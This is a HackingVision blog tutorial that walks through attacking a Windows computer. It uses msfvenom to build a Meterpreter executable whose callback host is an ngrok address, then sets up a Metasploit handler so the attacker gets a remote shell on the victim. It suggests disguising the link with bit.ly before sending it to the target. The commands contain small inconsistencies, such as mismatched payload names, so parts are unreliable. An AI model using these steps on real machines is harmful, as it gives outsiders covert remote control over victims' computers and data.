Msfvenom with ngrok Kali Linux Tutorial – HackingVision

Msfvenom with ngrok Kali Linux Tutorial – HackingVision

How to use Msfvenom with ngrok Kali Linux Tutorial – HackingVision

Hi welcome to Hacking Vision. Today lets get a little more advanced in our exploits were going to hack a computer running on Windows operating system with msfvenom using reverse http payload.

 

Step 1: ngrok

Let start sign up to ngrok and get the auth token.

Once you have signed up to ngrok you will get your auth token.  Download ngrok and unzip it with unzip /path/to/ngrok.zip.

 

unzip /path/to/ngrok.zip.

 

Once ngrok is unzipped you need to make ngrok executable using sudo chmod +x ngrok.

 

sudo chmod +x ngrok

 

Now we need to add our ngrok auth token, we can do this by using command.

 

 ./ngrok authtoken <YOUR_AUTH_TOKEN> 

 

Once auth token has been accepted launch ngrok using command below.

 

  ./ngrok http 2323 

 

You can change port to what ever port u want to open.

 

 

Copy and paste the ngrok URL.

 

now hit create host name and open terminal type this command msfvenom -p windows/meterpreter/http LHOST=520f6cc2.ngrok.io LPORT=2323 X> hahah.exe

 

 

Step 2: Starting required services

Open a new command terminal and use commands below to start services.

service postgresql start
service apache2 start

 

Step 3: Launching Metasploit

Now that we have started required the required services, we can launch Metasploit.

msfconsole

Step 4: Multi/handler

# Enter commands below to set payload options.


exploit/multi/handler

set payload to windows/meterpreter/reverse_https

set lhost 127.0.0.1

set lport 2323

 

 

In command terminal use command exploit.

exploit

 

Pass the ngrok URL to target machine.

You can use link shortens such as bit.ly if you want to shorten ngrok URL.

 

 

Thank you for reading, happy hacking.

 

Any actions and or activities related to the material contained within this Website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The authors of Hackingvision.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

yoast seo premium free